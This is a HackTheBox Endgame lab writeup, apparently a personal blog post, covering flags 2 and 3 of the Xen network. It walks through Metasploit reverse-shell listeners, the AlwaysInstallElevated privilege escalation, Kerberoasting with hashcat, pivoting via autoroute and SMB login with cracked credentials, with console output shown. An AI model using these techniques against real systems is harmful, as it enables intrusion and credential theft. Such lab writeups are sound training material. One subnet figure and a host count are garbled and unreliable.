HackTheBox Endgame Xen Writeup Part 2 – Deploy and Ghost (Flag 02 and 03/06)
HackTheBox EndGame Xen Writeup Series
- PART 1 – HackTheBox Endgame Xen Writeup Part 1 – Breach (Flag 01/06)
- PART 2 – HackTheBox Endgame Xen Writeup Part 2 – Deploy and Ghost (Flag 02 and 3 /06)
- PART 3 – HackTheBox Endgame Xen Writeup Part 3 – Camouflage and Doppelgänger (Flag 04 and 5/06)
- PART 4 – HackTheBox Endgame Xen Writeup Part 4 – Owned (Flag 06 /06)
Welcome back to Part 2 of HackTheBox Xen Endgame writeup. The level is called “Deploy”. The task is to privesc the current users on XenApp RDP and get the administrator shell on my Kali machine and get the flag number 2.
This writeup will be the mix of two flags, Deploy and Ghost. I think the Deploy writeup is very small so thought of adding two flags writeup and made a long enough to post the article.
The main obstacle for me before getting the Breach flag was to get proper meterpreter shell. For some reason, I was not able to get meterpreter shell. I made a lot of trails and errors before getting the 2nd flag. However, from 1st flag to 2nd is not that big task. Just a properly executed reverse shell and right selection of exploit would give you 2nd flag right away.
But, the 3rd flag Deploy is the toughest so far. This level involves proxy, pivoting & port forwarding etc. There is Kerberoasting, a time-consuming Hash cracking process as well.
After logging to the system first thing I noticed is I was able to access my local share from the remote desktop, which makes transferring the payloads, files, exploits easy. However, I disabled it as it’s difficult to trust anyone in HTB 😉
I as well noticed that each machine has 2 NIC, one for internal HTB network and another one public, so I should be using the external NIC for my reverse connection.
Computers and Devices In the Network
Preparing The Payload
I used common msfvenom to create x86 payload and transfer it to the machine using my share.
Running a Python SimpleHTTPServer
Once I have a reverse shell payload, I run a Python Webserver on the Xen working directory so that I could access the payload and run it from the XEN RDP.
Setting Up The Meterpreter
Here is how I set up the MSF.
# root @ ns09 in ~/htb/xen [22:45:27] $ msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v5.0.70-dev ] + -- --=[ 1960 exploits - 1094 auxiliary - 336 post ] + -- --=[ 562 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 10.14.14.17 LHOST => 10.14.14.17 msf5 exploit(multi/handler) > set LPORT 9988 LPORT => 9988 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.14.14.17:9988
Accessing the Reverse Shell Payload
As everything is set up I browse the webserver from the XEN machine and download the reverse shell and run it.
Low Privilege Reverse Shell As User
As soon as I run the payload shell2.exe I got the reverse shell as user Paul Morgan
Privilege Escalation From User To System
As I have the low privilege meterpreter shell, I need to escalate my privilege to administrator. Since the user I’m having reverse shell unable to perform major operations, I shall use meterpreter to find ways. Meterpreter comes with a built-in exploit checker called “Exploit Suggester”. I’m going to use it to find the possible ways to exploit the machine.
So, after the script run for around 10 minutes, it returned with 6 suggestions and 1 confirmed exploit. So, I’m using going to use the confirmed “always_install_elevated” exploit. This exploit abuses .MSI (Windows Installer engine). This exploit only works if the registry name “AlwaysInstallElevated” should be existed in both below keys with a dword value of 1. So this exploit may not work on most real-life machines as normally this is disabled by default.
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
The Meterpreter Exploit
Here is how I set up the exploit.
meterpreter > Background session 1? [y/N] y [-] Unknown command: y. msf5 exploit(multi/handler) > use exploit/windows/local/always_install_elevated msf5 exploit(windows/local/always_install_elevated) > set session 1 session => 1 msf5 exploit(windows/local/always_install_elevated) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(windows/local/always_install_elevated) > set LHOST 10.14.14.17 LHOST => 10.14.14.17 msf5 exploit(windows/local/always_install_elevated) > set LPORT 9998 LPORT => 9998 msf5 exploit(windows/local/always_install_elevated) > run [*] Started reverse TCP handler on 10.14.14.17:9998
Running the exploit and getting Flag#2 – Deploy
When everything is ready, I run the exploit and wait for meterpreter to upload the custom MSI exploit in to \TMP\ folder of the user and execute it. Once the execution is successful, I have another meterpreter session (2) opened as System.
So this exploit might not work every time on a first attempt, I had to retry a couple of times before I got the exploit executed and have my privilege escalated.
I found the second flag in Administrator’s desktop.
Flag #3 – Ghost
Ok, going further. As I’m having full access to the Server I can perform more advanced tasks as Administrator. Before that I need to see the interfaces, gateways and IP addresses allocated. I used simple windows IPCONFIG /ALL:
meterpreter > ipconfig /all Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:50:56:b9:4a:83 MTU : 1500 IPv4 Address : 172.16.249.205 IPv4 Netmask : 255.255.255.0 Interface 12 ============ Name : Microsoft ISATAP Adapter Hardware MAC : 00:00:00:00:00:00 MTU : 1280 IPv6 Address : fe80::5efe:a0d:260f IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 15 ============ Name : Microsoft ISATAP Adapter #2 Hardware MAC : 00:00:00:00:00:00 MTU : 1280 IPv6 Address : fe80::5efe:ac10:f9cd IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 18 ============ Name : Intel(R) PRO/1000 MT Network Connection #3 Hardware MAC : 00:50:56:b9:5a:f5 MTU : 1500 IPv4 Address : 10.13.38.15 IPv4 Netmask : 255.255.255.0
From the network connection details I already know the internal network range is 172.16.249.xxx, so I decided to find more hosts within the reach.
There is a nice article published by SANS (https://pen-testing.sans.org/resources/papers/gpen/post-exploitation-metasploit-pivot-port-121704) about Post Exploitation using Metasploit pivot & port forward.
As per the article I run the ARP Scanner against the internal IP range 172.16.249.0/24 and retrieved 7 hosts running.
I tried several ways to connect to the ports of the hosts I retrieved, but noting good come in my hand, until as always, discord pals for the rescue. As per one of them, I supposed to do Kerberoasting and obtain the hashes and crack them and finally get the credentials.
I tried to run the Shell and then execute the Import-Module, but I was not able to do as command execution blocked because script execution is disabled. So I had to find another way, I know that, from meterpreter session I could run PowerShell easily without any blocking.
I run the “load powershell” and then “powershell_shell” and I have the meterpreter Windows PowerShell extension running in front of me, then using Invoke-Kerberoast -OutputFormat hashcat |fl I have the Hash of new SamAccount “MTurner”
So the hash is not in right format, there are white spaces were included when I copied from the terminal, I used the “White Space Remover” to make the hash clean for cracking.
Cracking The Hash Using HashCat
Once I have the hash, I copied it in to a text file and set the HashCat for cracking using my good old friend RockYou.txt as wordlist.
Hashcat took good 93 minutes to crack the file, and finally I have the credential for the SamAccount MTurner.
Now that I have a proper meterpreter shell and I can run priv escalated PowerShell commands. The next task I wanted to use the Metasploit’s built-in scanner module to possible smb shares and RDP enabled systems in the network. I’m going to add a route the Metasploit to tunnel traffic through my current session and assign the scanning module the required scan subnet and scan, this was my plan.
I background my current session and then took note of the sessions running.
Then use the post/multi/manage/autoroute module and assigned the active session to it. I confirmed the route has been added to my local subnet.
Then I used the auxiliary/scanner/portscan/tcp scanner add the common ports to scan. I as well add the whole 17220.127.116.11/24 subnet for scanning. I knew it will take a while, so I increased the threads to 25.
The scanning was successful and I have 2 IPs are responding. Poers 445 and 3389 are open and listening on the IPs172.16.249.200, 172.16.249.201 and 172.16.249.204.
I proceed to check the SMB Login using the password I cracked a while ago and the login was success.
Next, I used ProxyChains to connect to the SMBs and finally after days of trail and error I was able to access the SMB shares in the htb.local network.
msf5 post(multi/manage/autoroute) > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > set rhosts 172.16.249.201 rhosts => 172.16.249.201 msf5 auxiliary(scanner/smb/smb_login) > set SMBUser mturner SMBUser => mturner msf5 auxiliary(scanner/smb/smb_login) > set SMBPass ********* SMBPass => ****** msf5 auxiliary(scanner/smb/smb_login) > exploit [*] 172.16.249.201:445 - 172.16.249.201:445 - Starting SMB login bruteforce [-] 172.16.249.201:445 - 172.16.249.201:445 - Failed: '.\mturner:*********', [*] 172.16.249.201:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain htb.local SMBDomain => htb.local msf5 auxiliary(scanner/smb/smb_login) > run [*] 172.16.249.201:445 - 172.16.249.201:445 - Starting SMB login bruteforce [+] 172.16.249.201:445 - 172.16.249.201:445 - Success: 'htb.local\mturner:*******' [*] 172.16.249.201:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Accessing SMBShares and Getting The Flag#3 –
I made sure I can connect to SMBShares and access the files inside.
Then I started to enum different shares on the devices. I noticed a folder Citrix$ on 172.16.249.200. Connected to the folder using smbclient command, I’m successfully getting connected, but getting protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED. I made research and found out that this could be an SMB version support on my Kali, so appending -m smb2 or -m smb3 should fix this issue but, even after changing the request I’m still getting the error. Then I realized the machine I’m connecting might not support the higher version of SMB protocol, so I should change to a lower version of protocol, like SMB1 (NT1)
Then I changed my Smaba.conf as below and run the command again.
But that didn’t work as well, so I found another way to connect, I amend the –option=’client min protocol=NT1′ and I got connected immediately. I actually found this reference in HTB forum in Lame’s thread. (ref)
And I found the 3rd flag Ghost inside the Citrix$ directory.
Well this was the ride I wanted to have, such a beautiful machine so far.
Thanks for stopping by and reading. I will continue my journey and going post the part 4 and 5 as soon as I complete.